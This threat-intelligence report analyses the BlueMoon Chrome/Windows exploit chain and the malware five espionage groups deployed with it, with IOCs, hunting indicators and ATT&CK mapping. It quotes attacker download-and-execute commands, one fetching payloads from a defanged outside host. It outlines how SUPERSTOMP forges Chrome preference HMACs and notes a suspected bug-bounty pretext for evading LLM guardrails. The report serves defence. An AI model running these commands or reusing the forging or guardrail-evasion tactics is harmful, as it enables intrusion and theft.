BlueMoon: One Exploit Chain, Five Espionage Groups

Overview

On September 9, 2026, Volexity and Proofpoint simultaneously published two reports on the same concerning phenomenon: multiple distinct cyber-espionage groups — most with China nexus — using a byte-for-byte identical exploit chain against Google Chrome and Windows, all within roughly two weeks.

Proofpoint names the toolkit BlueMoon. Volexity documents the same exploit chain in the context of two separate campaigns run by UTA0560 and JungleBamboo (also known as APT31 / Violet Typhoon / TA412 / TIDE CASTLE).

What makes this case remarkable is not the technical sophistication of the exploit, but the mechanism that created the vulnerability window: the exploited Chrome flaw had already been patched in the open-source Chromium codebase, but that fix had not yet reached Chrome users. In other words, this was an N-day at the source level but a genuine zero-day for end users — a phenomenon known as a "patch gap." An attacker needed only to watch public Chromium commits, reverse-engineer the fix, and hold a working exploit before Google shipped its release.

Volexity assesses with high confidence that as large language models become more effective at rapid vulnerability research and exploit development, patch-gap vulnerabilities will present an even greater risk, because they create an additional window of time for threat actors to operate.

Important note for Vietnamese readers: Of the four clusters Proofpoint observed using BlueMoon, the group tracked as UNK_DoubleCheck directly targeted a Vietnamese manufacturing company beginning September 2, 2026, using emails sent from a compromised Southeast Asian government email account, themed around vaccination appointment registration. Full details below.

---

Context: What a "Patch Gap" Is and Why It Matters

Chrome is built on the open-source Chromium codebase. When a vulnerability is reported and fixed in Chromium, that fix appears publicly in the repository before Google packages and ships a Chrome Stable release to users. The interval between those two moments is the "patch gap."

For CVE-2026-85046, the timeline was:

Date	Event
August 4, 2026	A private security researcher reports the vulnerability to the Chromium project
August 7, 2026	The fix is committed to the Chromium codebase — publicly visible in the repository
August 27–29, 2026	Dates found in the exploit code, indicating the development window
August 28, 2026	TA412/JungleBamboo begins using BlueMoon (per Proofpoint)
September 1, 2026	Volexity detects the UTA0560 and JungleBamboo campaigns
September 2–3, 2026	Two additional clusters begin using BlueMoon
September 3, 2026	Google ships the fix in Chrome Stable 152.0.7977.82/.83
September 4, 2026	CISA adds the flaw to its Known Exploited Vulnerabilities (KEV) catalog
September 18, 2026	CISA remediation deadline for US federal systems

Proofpoint calculates this window lasted nearly four weeks — enough time for someone closely watching the Chromium repository to reverse-engineer the patch and weaponize it into a working exploit.

The open-source paradox: transparency lets the community inspect and improve security, but it also means a patch is a detailed description of the vulnerability itself. To a capable attacker — increasingly assisted by AI — a commit diff is a roadmap.

---

Threat Actors Using BlueMoon

Combining both reports, five activity clusters have been documented:

Group	Reported by	First seen	Targets	Final payload	Attribution
TA412 / JungleBamboo (APT31, Violet Typhoon, TIDE CASTLE)	Proofpoint + Volexity	Aug 28, 2026	NGOs, mining companies, physical commodity trading firms (US)	SUPERSTOMP → LONGTALE (Volexity) / GemStone (Proofpoint) — Chrome extension impersonating Google Gemini	China-aligned; indicted by the US in 2024, attributed to MSS Hubei State Security Department via front company Wuhan Xiaoruizhi (武汉晓睿智科技有限责任公司)
UTA0560	Volexity	Sep 1, 2026	Multiple non-governmental organizations (NGOs)	GRIMWEDGE — JScript backdoor	China-aligned; Volexity attributes with high confidence to its own March 2026 campaigns
UNK_LateNight	Proofpoint	Sep 2, 2026	Multiple US aerospace companies	ShadowPad backdoor	Suspected China nexus
UNK_DoubleCheck	Proofpoint	Sep 2, 2026	A Vietnamese manufacturing company	Rust loader chain via DLL sideloading	No country attribution; very likely espionage-motivated
UNK_QuietRacket	Proofpoint	Sep 3, 2026	Government, consulting, financial sector in Indonesia and Singapore	Unidentified custom malware	Suspected China nexus

Assessments on the exploit chain's origin:

• Volexity assesses with low confidence that the exploit chain may have been sold or otherwise provided to different end-users in China — explaining the near-simultaneous campaigns using entirely distinct post-exploitation malware.

• Volexity assesses with medium confidence that the short window created by the Chrome patch delay necessitated that these actors reuse the core exploit code without modification. Furthermore, each actor's payloads were compiled using different toolsets, suggesting entirely separate development environments per malware developer.

• Proofpoint raises several hypotheses: a shared commercial procurement chain, a "digital quartermaster" supplying the capability to multiple state-aligned actors, or direct dissemination via a centralized state-affiliated organization.

---

Technical Analysis

1. Exploit Chain Overview — Three Vulnerabilities in Sequence

Spear-phishing email (link)
└─► Redirect (XSS on a legitimate site / Cloudflare Worker / spoofed domain)
 └─► Landing page showing a decoy image (donation form, loading page...)
  └─► JavaScript loader (User-Agent filter: Chrome on Windows only)
   └─► Hidden iframe → exploit page
    ├─► CVE-2026-85046: V8 type confusion → arbitrary R/W in V8 cage
    ├─► CVE-2026-87491: WebAssembly defect → escape V8 sandbox
    └─► CVE-2026-85880: Windows kernel LPE → escape renderer sandbox
     └─► Inject into Chrome browser process (outside sandbox)
      └─► curl downloads payload → execute

The three vulnerabilities:

CVE	Component	Type	Role in the chain
CVE-2026-85046	Chromium V8 JavaScript Engine	Type confusion	Gains arbitrary read/write within the V8 heap cage
CVE-2026-87491	Chromium V8 (WebAssembly)	Sandbox escape	Overwrites compiled WebAssembly function bodies with shellcode to escape the V8 sandbox
CVE-2026-85880	Windows kernel (RtlpCreateServerAcl)	Local Privilege Escalation	Escapes Chrome's sandboxed renderer process, enables SeDebugPrivilege

On CVE-2026-85046 (technical detail per Proofpoint): The flaw abuses an optimization assumption shared by both of V8's JIT compilers — Maglev and TurboFan. Both attempt to optimize Array.prototype.sort by replacing built-in functions with versions specialized for the array's "elements kind." An elements kind can normally only move from more specialized to more generalized — unless Array.fill() is called to replace every element, in which case V8 can optimize back to the more specialized kind. By training the compiler to recognize a set of optimized sort functions, then changing the elements kind mid-sort with a fill() call, the attacker tricks the compiler into treating object references as SMIs (small integers) — producing a heap offset leak that forms the basis of the addrof primitive.

On CVE-2026-85880 (Windows kernel LPE): A previously unreported vulnerability in RtlpCreateServerAcl, exploited via ALPC (Advanced Local Procedure Call) and WNF (Windows Notification Facility) mechanisms. Notably, this flaw only exists on older Windows builds:

Build	Version
17763	Windows 10 1809 / Server 2019
19041–19045	Windows 10 2004, 20H2, 21H1, 21H2, 22H2
20348	Windows Server 2022
22000	Windows 11 21H2 (initial release)

All builds above 22000 are rejected by the exploit. Proofpoint notes that pairing a fresh Chrome flaw with an LPE that only works on older Windows substantially narrows the pool of viable targets and reduces the chain's overall probability of success — a sign of rushed deployment rather than a mature, long-planned operation. The LPE DLL's compilation timestamp is from 2025 and shows no signs of forgery, suggesting the exploit creator repackaged an existing capability into BlueMoon.

---

2. Toolkit Architecture — Three Embedded Payloads

Despite different packaging across actors, the core JavaScript always contains three Base64-encoded components:

Component	Type	Function
p1	Position-independent shellcode, reflectively loads a DLL	Host reconnaissance: OS version and build, process token integrity level, CPUID features, hypervisor detection (distinguishing VMware, Hyper-V, KVM, Xen by vendor string), privilege inventory
p2	Position-independent shellcode, reflectively loads a DLL	Windows kernel LPE (CVE-2026-85880) — only runs if the process is not already elevated and the Windows build is in the target set
pp	Position-independent shellcode	Injects into the Chrome browser process: locates the parent process, opens it with full access, allocates executable memory, writes a stub and command line, starts a remote thread calling CreateProcessA

Notable detail about p1: the DLL's anti-analysis checks are passive. Debugger presence, sandbox indicators, and hypervisor detection are all reported in JSON but not acted upon. The decision to proceed or abort is made by the calling JavaScript, not the DLL. The JavaScript consumes only three fields to decide whether the LPE is needed — but the full JSON profile remains available to the attacker for host assessment.

Default command after successful exploitation:

cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"

Proofpoint emphasizes this is a significant OPSEC weakness: it produces a highly distinctive process tree (chrome.exe → cmd.exe → curl.exe → msgbox.exe) — multiple high-signal detection opportunities for endpoint security products. Further evidence that rapid deployment was prioritized over detection avoidance.

---

3. An Exploit Page With 13 URL Parameters — Traces of a Development Harness

The page.html exploit page accepts 13 URL parameters, many characteristic of a development harness rather than an operational attack tool:

Parameter	Purpose
beacon	Base URL for telemetry — each exploitation phase fires a fetch so the operator can see the last phase reached before a crash
dry	Dry run — executes exploit logic without deploying shellcode payloads
exeurl	URL of the binary to download after exploitation
force2	Force the LPE stage regardless of the p1 fingerprint result
forcepp	Force the injection stage regardless of whether the LPE succeeded
map	Override V8's MAP_WORD heap constant — when unset, the exploit derives it at runtime via a memory leak, giving resilience across Chrome 151.x point releases
mode	Execution mode; must be set to payload for the exploit to run — a safety mechanism during testing
p2step	Breakpoint within the kernel LPE — halts at a named sub-phase for debugging
retry	Toggle the automatic retry mechanism (default: up to five attempts)
runpayload	Skip the final payload download and execution
step	Breakpoint within the injection stub
stopAfter	Halt exploitation at a named phase — used to debug individual stages
worker	Run the exploit on the main thread instead of a Web Worker

A notable technical detail: the exploit runs in a dedicated Web Worker rather than the main thread — meaning a renderer crash from a failed attempt does not kill the visible tab or alert the victim. It also includes a retry mechanism storing an attempt counter in sessionStorage under the key v8ctf_exp_attempt, re-launching up to five times on recoverable failures.

---

4. Evidence of AI-Assisted Development

This is the most significant finding in terms of broader trends. Proofpoint stresses that no single artifact conclusively confirms AI-assisted development, but identifies several indicators consistent with the hypothesis:

1. Extensive diagnostic logging capabilities, including instructions to the exploit tester: "please send the full log back (copy it from the page)" — phrasing aimed at a user, not internal developer notes.

2. A reference to a Markdown handover document: a code comment points to docs/v8-ctf-chrome-stage4-handover.md. Proofpoint notes such handover files are commonly used by AI agents to facilitate context transfer between sessions or models.

3. Detailed comments documenting successive debugging iterations: comments frequently explain previous failures, subsequent revisions, and constraints that future changes must respect — the self-narrating style characteristic of AI coding tools.

4. References to v8CTF: BlueMoon contains multiple references to v8CTF (Google's V8 engine bug bounty challenge), including the retry counter key v8ctf_exp_attempt and the log heading v8-ctf chrome. Proofpoint poses a question worth serious reflection: it is unclear whether the V8 exploits were genuinely developed against the v8CTF bug bounty framework, or whether this pretext was used by the developers to evade large language model guardrails.

5. A default configuration departing from OPSEC norms typically associated with professional browser exploit chains (such as those from Intellexa, ForumTroll, or Citrine Sleet) — specifically, a curl command that drops a file to disk and executes it, generating very high detection signal.

Proofpoint's conclusion: this overall pattern may reflect a falling cost and barrier to entry for this class of capability, as AI agents increasingly enable threat actors to develop exploits — particularly for open-source codebases like Chromium, where publicly accessible upstream patches create a patch-gap window for rapid reverse engineering.

---

5. Post-Exploitation — Five Groups, Five Different Paths

Once the shared exploit chain achieves code execution, the groups diverge entirely.

5.1. UTA0560 → GRIMWEDGE (JScript backdoor)

Loader chain:

1. msgbox.exe — a dropper compiled August 31, 2026 (one day before the phishing emails), whose sole purpose is to extract a legitimate Windows EXE and a malicious DLL for sideloading.

2. wsc.dll — the sideloaded dropper. Creates a scheduled task named "Windows Scheduled System" that re-runs the sideloading chain every five minutes. Beacons to hxxps://cloud[.]shinewrist[.]net/<removed>/%COMPUTERNAME%.txt — a per-host staging model allowing the actor to serve targeted payloads to individual devices.

3. Temp.txt — a 408 KB MSI package (built with Advanced Installer 14.5.2) executing obfuscated JScript in its custom actions. The JScript creates an HTTP client and enters an infinite loop POSTing to hxxps://ocr[.]opusaccel[.]top with a tab-delimited body containing the victim's domain, username, and command output from the prior iteration. HTTP responses are evaluated as JScript code.

4. GRIMWEDGE — a backdoor executing entirely in memory as an eval()'d string within the msiexec.exe process.

Notable detail: UTA0560 updated msgbox.exe and wsc.dll on September 2, 2026 — the new version changes the scheduled task from a passive retry to active re-execution of the full sideloading chain, and adds a pre-check to avoid duplicate tasks. Both versions were served from the same URL.

GRIMWEDGE command set (10 commands, under 250 lines of code):

ID	Command	Capability
0	Info	System reconnaissance: OS version, build, architecture, installed hotfixes, antivirus products, domain/user/computer name, IP and MAC addresses, drive letters, installed software
1	Dir	Directory listing with timestamps and file sizes
2	Mkdir	Create a directory
3	Del	Delete a file
4	Tasklist	List running processes with PID, owning user, and full command line
5	Taskkill	Terminate a process by PID
6	Type	Read a file (up to 5 MB)
7	Run	Execute a command with a hidden window
8	Upload (chunk)	Receive a Base64 chunk from C2 and append to an in-memory buffer
9	Upload (commit)	Save the accumulated buffer to disk as the final file

GRIMWEDGE has no built-in persistence, lateral movement, or exfiltration mechanism beyond its file-read and upload commands — it provides an initial foothold sufficient for UTA0560 to survey the host, retrieve files of interest, and deploy additional tooling via Run and Upload.

5.2. JungleBamboo/TA412 → SUPERSTOMP + LONGTALE/GemStone (fake Gemini Chrome extension)

This is the most technically sophisticated evasion path.

SUPERSTOMP (Volexity) / the msgbox.exe installer (Proofpoint) is a loader that installs a malicious Chrome extension by forging the Secure Preferences mechanism.

Background: Chrome has repeatedly hardened the very mechanism this technique relies on:

• November 2025: Chromium added per-preference *_encrypted_hash values to prevent tampering.

• June 2026: Chromium added super_encrypted_hash, providing an integrity check across the full set of Preferences.

SUPERSTOMP still succeeds by:

1. Copying the existing Secure Preferences file

2. Removing the per-preference _encrypted_hash entries and super_encrypted_hash

3. Adding the malicious extension and enabling the required extension settings

4. Generating valid legacy HMAC values for the modified preferences and recalculating super_mac

5. Replacing the original Secure Preferences file with the tampered one

When Chrome next starts, the encrypted authenticators are absent. Because legacy-MAC fallback remains permitted, Chrome validates the forged state using the attacker-generated legacy HMACs. Chrome then treats the profile as requiring migration and generates new encrypted hashes for the modified state — effectively authenticating the malicious extension under the newer integrity scheme itself.

Critical detail: Volexity notes Chrome enables this legacy fallback by default in releases as of September 8, 2026; only compiling Chromium from source disables it. More notably still: this technique was added to one of the most popular GitHub repositories for silent Chrome extension installation on August 6, 2026 — weeks before JungleBamboo's campaign. The line between public research and operational tradecraft keeps getting shorter.

LONGTALE / GemStone is a Chrome extension masquerading as a Google Gemini assistant (extension ID: ckiknalbeplpcpofpnabcnhjcegckfei):

Feature	Description
Keylogging and form capture	Records every keystroke, input field value, and pasted clipboard text across all browser tabs, with no suppression of sensitive fields
Cookie and session theft	Steals all browser cookies via the Chrome extension API, plus localStorage/sessionStorage tokens — multiple independent paths to hijack authenticated sessions
Keyword-triggered screenshots	Monitors page content for C2-supplied keywords using polling and MutationObservers; matches trigger JPEG screenshots that are queued and exfiltrated
Bulk data exfiltration	Sends collected keystrokes, cookies, storage data, navigation history, and session metadata to C2 at ~30-second intervals when active. Enabled by default on first run
Remote command and control	Accepts 14 commands, including on-demand cookie/storage/screenshot collection, keyword list updates, recording toggling, and arbitrary cross-origin HTTP requests from the victim's browser context

Volexity's assessment: LONGTALE has no remote code execution command at all. Volexity assesses with low confidence that the actor regarded this as unnecessary — LONGTALE's extensive information-theft capabilities were sufficient to achieve its credential theft and surveillance objectives. Volexity also assesses with medium confidence that malicious Chrome extensions are often harder to detect than other file types such as executables — likely a factor in JungleBamboo's payload choice.

Additional detail from Proofpoint on GemStone: TA412's installer enumerates all Chromium-family browsers — Google Chrome, Microsoft Edge, Brave, and Vivaldi — then terminates each browser process before modifying preferences (since Chromium holds preference files open while running), and afterwards relaunches the browser with --restore-last-session to restore the user's open tabs and windows — fully concealing the fact that the browser was just restarted.

GemStone generates a victim identifier in the form gemini-<first 12 characters of extension ID>-<public IP>, obtaining the public IP from api.ipify[.]org and ipinfo[.]io, then registering with a Cloudflare Worker domain as C2.

5.3. UNK_LateNight → ShadowPad (US aerospace)

Phishing emails themed around B2B and Request for Quotation (RFQ) inquiries specifically related to the US defense industrial base. Domains spoofed numerous US aerospace companies. The group hardcoded multiple redirect URL options in the BlueMoon configuration, all pointing to genuine US aerospace company websites.

Post-exploitation chain: msgbox.exe is a loader that drops a DLL-sideloading pair alongside an obfuscated TMP file (A08744D2.tmp). The DLL reads and AES-decrypts the TMP file, then injects the decrypted contents into one of several hardcoded injection targets such as wmpnetwk.exe. The TMP file is immediately overwritten, and the payload is written to the registry as a backup storage mechanism. A scheduled task named EdgeCore_AutoUpdate periodically reinitiates the infection chain; if the TMP file fails to decrypt, the DLL falls back to the registry copy.

The final payload is ShadowPad — a backdoor that unhooks 20 network monitoring functions to remain stealthy, steals Firefox profile data, sniffs network traffic, and beacons over HTTPS to ms.checrity[.]com using a binary C2 protocol with rotating user-agent strings.

5.4. UNK_DoubleCheck → Rust loader chain (Vietnam)

This is the cluster directly involving Vietnam.

Beginning September 2, 2026, UNK_DoubleCheck targeted a Vietnamese manufacturing entity with messages sent from a compromised Southeast Asian government email address — themed around vaccination appointment registration.

The emails contained links to an attacker-controlled Cloudflare Worker hosting BlueMoon. Notably, this is the only BlueMoon variant observed using obfuscation to encode the JavaScript loader and configuration components.

Post-exploitation chain (differing from the default msgbox.exe configuration):

cmd.exe /c curl.exe -k -o "%APPDATA%\Microsoft\Windows\#1"
hxxps://homepage.brianwilli[.]com/d/{wint.exe,calibre-launcher.dll,85rY.dat,SysPr.prx}
&& "%APPDATA%\Microsoft\Windows\wint.exe"

This initiates a DLL-sideloading chain to RC4-decrypt a blob named SysPr.prx and load the resulting Rust executable into memory. The Rust binary connects to the Cloudflare R2 Bucket 1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com to download and execute a second DLL-sideloading set that uses fracons[.]com for C2.

Proofpoint does not attribute UNK_DoubleCheck to a specific country at the time of publication, but assesses the group is very likely espionage-motivated.

5.5. UNK_QuietRacket → Custom malware (Indonesia, Singapore)

Beginning September 3, 2026, targeting government, consulting, and financial sector organizations in Indonesia and Singapore, with emails themed around Indonesian conferences (Indo Startup Expo & Forum 2026, World Conference on Creative Economy 2026).

This group modified BlueMoon's pp injector shellcode to download and execute a DLL-sideloading pair (GfExperienceService64.exe and GFExperienceUpdate.dll) instead of msgbox.exe. A notable technical detail: the DLL loader resolves its C2 infrastructure entirely over Google DNS-over-HTTPS (DoH) — retrieving a TXT record for dns.elixnovorem[.]com and ChaCha20-decrypting it, leading to a Cloudflare Worker serving a decoy HTML page whose body is Base64-decoded, ChaCha20-decrypted, and loaded as a .NET assembly in memory. That .NET payload simply sets a scheduled task GeForceService for persistence.

---

Risk Summary

Risk Dimension	Level	Rationale
Remote exploitability	Critical	Requires only that the victim click one link — no file download, no macro, no further interaction
Capability proliferation speed	Very High	5 distinct groups using the same exploit within ~2 weeks; Proofpoint forecasts further spread, including to financially motivated actors
Stealth	Medium-Low	The chrome.exe → cmd.exe → curl.exe → msgbox.exe process tree is highly detectable — BlueMoon's greatest weakness
Viable target pool	Medium	The LPE only works on Windows builds ≤ 22000 — substantially narrowing the victim set
Impact if successful	Critical	Depends on payload: from full browser credential/cookie theft (LONGTALE/GemStone) to a complete backdoor (ShadowPad)
Relevance to Vietnam	High	A Vietnamese manufacturer was directly targeted; emails sent from a compromised Southeast Asian government account
Systemic (patch-gap) risk	Very High	Volexity assesses with high confidence that patch-gap risk grows as AI makes patch reverse-engineering more effective

---

IOCs & Artifacts

Vulnerabilities Requiring Immediate Patching

CVE	Product	Patch status
CVE-2026-85046	Google Chrome / Chromium (V8)	Fixed in Chrome 152.0.7977.82/.83 (Sep 3, 2026). Added to CISA KEV Sep 4; federal remediation deadline Sep 18, 2026
CVE-2026-87491	Google Chrome / Chromium (V8 sandbox escape)	Fixed in Chrome Stable
CVE-2026-85880	Windows kernel (RtlpCreateServerAcl)	Remediated by Microsoft (see MSRC)

File Indicators (SHA-256)

Shared exploit chain (Volexity):

d17053557bb90298f7b115432b4820a248fdbe678bca31721529b1f51a82343b  Files1.html (UTA0560)
337b48c1cd6dd6e7b8073327082a60e149517fa084ba17b180e041fffa3b130d  react.min.js (UTA0560)
7a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985c  page.html (shared)
cd0c21f9b32b7feeda1787fccab622dec60ecdf84c0538c08bde3946856b0fa0  p1 data (shared)
b7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1  p1 DLL (shared)
5995f42a828606705a7339d58a665c229936e81c4e539cdfa115eb46a2eb53d6  p2 data (shared)
51462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863cc  p2 DLL (shared)

UTA0560 (GRIMWEDGE):

69c1603f3f9015beb0097d0a3bb0f17400c314e2eae65a7eceacd3b93ea570dc  msgbox.exe
3b71d721c39fad92a44ddd764bbb34afeae44a5db886d0a4827a399a5fbd367f  wsc.dll
56eda0ac82e06ee609b034306025e67df161c5877399c305c8eaea136e80c951  Temp.txt (MSI)
59dc108e22cb856c228bbf8a1ab955fb66f0844a07fe10fa0d9fc3823d2cbbcb  GRIMWEDGE backdoor

JungleBamboo / TA412 (SUPERSTOMP + LONGTALE/GemStone):

e2a59432ce2b0d83ded936374a11fca3d3defaf4aab90eb37fca58683eae32c0  msgbox.exe (SUPERSTOMP)
5eb5645511b00e4f4d73125654eeb3a3930fcf09c65685dc7f03f725331492e3  a001 (LONGTALE extension)
779b3e1a470e589d492b99154ba11622fbaebb19b3de694f660c725411b7096d  driver-html.js
ff1b49aaec994f4c11f2c9331e739abb4bc3d6abf66ec50ce99709fba35d782b  BlueMoon exploit JavaScript
7d6f6dcb17a423bdd7715f8a4e34f2939501a761bc9bf7aa005f805ef1f82288  ChromeUpdate.exe / msgbox.exe
e950d03c58d49e28e31df8afeefca1f3b3d2cd6b697c40adfee1a4f6fe18f004  dist.zip
353b5bd2780c1b0c07c1283d83cf16cf1e9ec226c17b2d09d56848893f9d98ee  background.js (GemStone)

UNK_DoubleCheck (Vietnam campaign):

ac6bbc4b1f1c62e308781329183a46e18f454c27e66bffa09f343b53ac622b69  font-01.js (BlueMoon exploit JS)
ac6806c89e294f390838cb07c015dabec1c8ada06ce5161a0ad50b8a72828141  calibre-launcher.dll
3594ad58fb6217fafe9839e53999a90608c2e9f335fa20aece3d53f8c0802726  SysPr.prx
3ec3151d8d1278ed966941ac89ea495ef6a80c70613dd9138cc85fc28c9df432  krita.dll
6e6378d8d404166da89d982e80bc52e19a3f677201258dec1775f100a027a92d  SysPr.prx (variant)

UNK_LateNight (ShadowPad):

a4a6a04d85eca8d584d939d2437c85a4f291207d8042f2ec002838e336b72ef5  Index.js
295fc584f75e94108c9be945977db33ed80421f5d374eab188587c911dffd915  msgbox.exe
bc7d24f5cf8937b334966201bdcce8ca9bab6ec5889d40a399d4094dcad73360  mctsetup64.dll

UNK_QuietRacket:

b34802a646fc4a8f07ffa09a5fda8bf7327446b22e3d7bb5163dafa1e2a8bb2b  Loader.js
8453c42904b7b2fea5671b7bff06b2d937632ae29545fd11bc13095627a2805f  Indostartupexpo.js
f3c64014221a58f3fde88e562662dbd5a1b3dd2b59c86e9e2bc5cb8f671664e7  GFExperienceUpdate.dll
87b6b24c06f99900a8aa579caedee1e402015884c925a98dcfb0fb38dfa2de22  GFExperienceUpdate.dll

Network Indicators

Indicator	Group	Role
cloud.shinewrist[.]net	UTA0560	C2 and exploit hosting
ocr[.]opusaccel[.]top	UTA0560	GRIMWEDGE C2
206[.]166[.]251[.]164	UTA0560	Hosts cloud.shinewrist[.]net
ircribbin77[@]hotmail[.]com	UTA0560	Phishing sender (display name "Irma Cribbin")
msbenefit[.]com, gitprogram[.]com	JungleBamboo	Phishing and C2 infrastructure (using Cloudflare Tunnels)
secboxes[.]com, attcdn[.]com	TA412	Delivery and download domains
brianwilli[.]com / homepage.brianwilli[.]com	UNK_DoubleCheck	Download domain (Vietnam campaign)
fracons[.]com	UNK_DoubleCheck	C2 domain (Vietnam campaign)
mailtbox.workers[.]dev / vncdc.mailtbox.workers[.]dev	UNK_DoubleCheck	BlueMoon delivery hostname
1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com	UNK_DoubleCheck	Cloudflare R2 bucket for stage-2 payloads
ms.checrity[.]com / checrity[.]com / 79.133.56[.]90	UNK_LateNight	ShadowPad C2
airproducts[.]ink, precipart[.]ink, epsilonsystems[.]net, rocketlabusa[.]ink, spectrolab[.]fit	UNK_LateNight	Domains spoofing US aerospace companies
joinmacket[.]com, openlumakora[.]com, getaiexo[.]com, elixnovorem[.]com, velodynaity[.]com	UNK_QuietRacket	Delivery and C2 infrastructure

Hunting Indicators

Published by Proofpoint:

• Distinctive process tree: chrome.exe → cmd.exe → curl.exe → msgbox.exe

• Session key v8ctf_exp_attempt written to sessionStorage in Chrome

• Scheduled tasks: EdgeCore_AutoUpdate (UNK_LateNight), MicrosoftEdgeUpdatesTaskMachine and Avpcheckup (UNK_DoubleCheck)

• Mutex: Dataupcheckinfo (UNK_DoubleCheck)

• Registry persistence: HKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32 (UNK_DoubleCheck)

• Files dropped to %TEMP%: ChromeUpdate.exe or msgbox.exe

Published by Volexity:

• Scheduled task: Windows Scheduled System running every five minutes (UTA0560)

• Malicious extension ID: ckiknalbeplpcpofpnabcnhjcegckfei (LONGTALE, fake Google Gemini)

• Extension extraction directory: C:\Users\Public\stomp_ext

Published Detection Rules

• Proofpoint ET rules: SIDs 2071919–2071924 (BlueMoon EK JS Loader M1/M2/M3, CnC Beacon Outbound ok/fail/phase)

• Proofpoint YARA rule: MAL_BlueMoon_ExploitKit (author: Greg Lesnewich) — matching on distinctive strings including CVE_EXP_CORE, PAYLOADS_B64, v8ctf_exp_attempt, MAP_WORD, cageRead/cageWrite, plus shellcode markers. The full rule is available in Proofpoint's original report (see References).

• Volexity IOC repository: github.com/volexity/threat-intel/tree/main/2026/2026-09-09 Chrome

---

MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Description in Campaign
Resource Development	T1583.001	Acquire Infrastructure: Domains	Exploit delivery infrastructure created the same day as, or days immediately preceding, the associated campaigns
Resource Development	T1588.005	Obtain Capabilities: Exploits	Multiple groups obtained the same BlueMoon kit — suggesting an exploit broker or "digital quartermaster"
Initial Access	T1566.002	Phishing: Spearphishing Link	Spear-phishing emails with links, themed per target
Initial Access	T1189	Drive-by Compromise	Browser exploitation triggered on page visit
Initial Access	T1190	Exploit Public-Facing Application	Abused a reflected XSS flaw on a legitimate US university website for redirection
Execution	T1204.001	User Execution: Malicious Link	Social engineering drives the victim to click
Execution	T1203	Exploitation for Client Execution	CVE-2026-85046 + CVE-2026-87491 chain in Chrome
Execution	T1059.003	Command and Scripting Interpreter: Windows Command Shell	cmd.exe /c curl ... && ... post-exploitation
Privilege Escalation	T1068	Exploitation for Privilege Escalation	CVE-2026-85880 in the Windows kernel (ALPC/WNF)
Defense Evasion	T1055	Process Injection	pp shellcode injects into the Chrome browser process (outside the sandbox)
Defense Evasion	T1620	Reflective Code Loading	p1 and p2 reflectively load embedded DLLs; GRIMWEDGE runs via eval() in msiexec.exe
Defense Evasion	T1027	Obfuscated Files or Information	Obfuscated JavaScript loader; UNK_DoubleCheck RC4-encrypts the SysPr.prx blob
Defense Evasion	T1574.002	Hijack Execution Flow: DLL Side-Loading	Sideloading chains used by UTA0560, UNK_LateNight, UNK_DoubleCheck, UNK_QuietRacket
Defense Evasion	T1036.005	Masquerading: Match Legitimate Name	Fake "Google Gemini" extension; tasks named Windows Scheduled System, EdgeCore_AutoUpdate, GeForceService
Defense Evasion	T1553	Subvert Trust Controls	SUPERSTOMP forges Chrome Secure Preferences HMACs and super_mac
Persistence	T1053.005	Scheduled Task/Job	Windows Scheduled System (5 min), EdgeCore_AutoUpdate, GeForceService, Avpcheckup
Persistence	T1176	Browser Extensions	LONGTALE/GemStone persistently installed into the browser profile
Persistence	T1112	Modify Registry	UNK_LateNight stores a backup payload in the registry; UNK_DoubleCheck persists via CLSID
Credential Access	T1555.003	Credentials from Web Browsers	LONGTALE/GemStone steals cookies, localStorage, sessionStorage; ShadowPad takes Firefox profiles
Credential Access	T1056.001	Input Capture: Keylogging	LONGTALE/GemStone records every keystroke on every tab
Collection	T1113	Screen Capture	Screenshots triggered by C2-supplied keywords
Discovery	T1082	System Information Discovery	p1 DLL builds a full host profile; GRIMWEDGE Info command
Discovery	T1497	Virtualization/Sandbox Evasion	p1 detects hypervisors (VMware, Hyper-V, KVM, Xen) — passively, reporting only
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	HTTPS beacons; GRIMWEDGE tab-delimited POSTs
Command and Control	T1071.004	Application Layer Protocol: DNS	UNK_QuietRacket resolves C2 via Google DNS-over-HTTPS (TXT records)
Command and Control	T1102	Web Service	Cloudflare Workers, Cloudflare Tunnels, and Cloudflare R2 Buckets as infrastructure
Command and Control	T1105	Ingress Tool Transfer	curl downloads payloads; per-host staging (%COMPUTERNAME%.txt)
Exfiltration	T1041	Exfiltration Over C2 Channel	LONGTALE exfiltrates every ~30 seconds

---

Expert Assessment

The most concerning aspect of this case is not the exploit's sophistication, but the speed and pattern of its proliferation. A fully weaponized Chrome exploit chain has historically been a rare, high-value capability — typically associated with commercial spyware vendors or heavily resourced APT groups. BlueMoon was developed, deployed rapidly, and shared across at least five distinct groups within days — at a level of OPSEC quality low enough to generate very high detection signal.

That low OPSEC quality is itself the most revealing detail. The default configuration — curl dropping a file to %TEMP% and executing it, producing a chrome.exe → cmd.exe → curl.exe → msgbox.exe process tree — is something any professional exploit development team would avoid. Combined with exploit code that retains debug comments, verbose diagnostic logging, breakpoints, and a reference to a Markdown handover file, the picture that emerges is a tool pushed out of the lab with its development scaffolding still attached — because the patch-gap window was about to close.

On the evidence of AI-assisted development, appropriate caution is warranted. Proofpoint states it plainly: no single artifact conclusively confirms this. But the collection of indicators — a Markdown handover file (a pattern characteristic of AI agents transferring context between sessions), self-narrating comments documenting each debugging round, instructions asking a "tester" to send back the full log — forms a notably consistent pattern. The sharpest detail is the question Proofpoint raises about the v8CTF references: was the exploit genuinely developed within Google's bug bounty framework, or was the "bug bounty research" pretext used to evade large language model guardrails? This is a question both the security industry and AI model developers need to take seriously.

The core lesson about patch gaps extends far beyond this specific case. The open-source model creates a structural paradox: the patch is committed publicly before it reaches end users, and the patch is the most detailed description of the vulnerability that exists. As reverse-engineering a patch and weaponizing it becomes cheaper thanks to AI, this window shifts from a theoretical risk to a predictable attack opportunity. Volexity assesses this with high confidence — and Proofpoint forecasts the pattern will recur beyond BlueMoon.

